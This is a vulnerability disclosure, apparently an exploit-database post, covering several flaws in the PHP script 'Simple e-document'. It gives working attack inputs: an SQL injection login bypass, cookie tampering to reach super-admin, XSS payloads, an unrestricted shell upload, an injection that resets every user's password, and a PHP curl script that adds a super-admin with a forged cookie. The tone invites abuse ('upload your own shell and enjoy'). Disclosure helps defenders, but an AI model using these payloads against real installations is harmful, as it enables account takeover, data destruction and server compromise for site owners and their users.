Hi everyone.I want to talk about some vulnerabilities which i have found in  
Simple e-document script's sources.It has a lot issues.  
  
Let's go...  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
1.Sql Injection(multiple=>there is exist another bugs.you can find them  
same tecniques).  
  
admin.php  
---------  
Snip:  
  
$sql = "Insert into edocphp_users values('', '$username', '$r_password',  
'$NOW_TIME', '$is_admin', '$is_s_admin')";  
  
And $username, $r_password had not been sanitized.  
  
-------  
main_out.php( Vulnerable from head to bottom of page :D )  
main_in.php (It is also :D )  
-------  
  
  
  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
  
2. Bypass login:  
  
index.php  
---------  
  
write username : 'or 1=1 #  
password : blank  
  
And you will login successfull..  
  
Vulnerable snip:  
...  
$username= stripslashes($_POST['username']);  
$password= stripslashes($_POST['password']);  
..  
$sql = "SELECT * From edocphp_users WHERE username='$username' AND  
password ='$r_password'";  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
3.Insecure cookie handling(Privilege escalation):  
  
There is an issue with creating cookies after you login to system.  
if you are simple user your cookie will be that username=Your username;  
access=1;  
You can change cookie part: change access 1 to 3 for capturing super  
administrative access.  
  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
4.XSS  
  
index.php  
---------  
$_COOKIE['username'] is not sanitized and you can change it to ,for  
example,<script>alert(document.cookie)</script>  
and boom :D XSS appears..  
This vuln is also exist in header_out.php and admin.php :  
  
admin.php  
----------  
Go to the View/Edit/Remove Users and after clicking update intrecept  
request and type that:  
  
new_password=11111&is_admin=3&username_s=<script>alert()</script>&id=3&op=Update_User  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
5.Arbitrary File Upload  
There is not any restriction in upload.php and you can upload your own  
shell and enjoy :)  
  
http://site.tld/script_path/upload.php?op=newin  
  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
6.Second order injections  
You can change all users' passwords in the database with this vuln(Also  
delete):  
-----  
admin.php  
-----  
  
Go to the View/Edit/Remove Users.  
Change any of these pass to your own  
After clicking update intrecept request with BurpSuite (or OwaspZap etc.)  
and change this  
new_password=&is_admin=3&username_s=admin&id='or 1=1#&op=Update_User  
After this process all users' pass will be changed..  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
7.CSRF  
  
This script doesn't have any session,for this reason you can add new super  
admin.I have written a simple payload for it:  
Payload:  
  
<?php  
$url="http://localhost/simple_e_document/admin.php";  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL, $url);  
curl_setopt ($ch, CURLOPT_POST, 1);  
curl_setopt ($ch, CURLOPT_POSTFIELDS,  
"username=admin&password=123456&is_admin=2&op=save_new_user");  
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_COOKIE, "username=FuckTheSystem;access=3");  
$a = curl_exec ($ch);  
echo $a;  
curl_close ($ch);  
?>  
  
Change current values with your own.  
  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
8.Insecure logout process.  
You can force this proces to change its behaviour.For example,if you press  
logout process,this post action happens :  
  
op=logout&username= ANY USERNAME &Submit=Logout  
you can change username value and make script to logout site for this user.
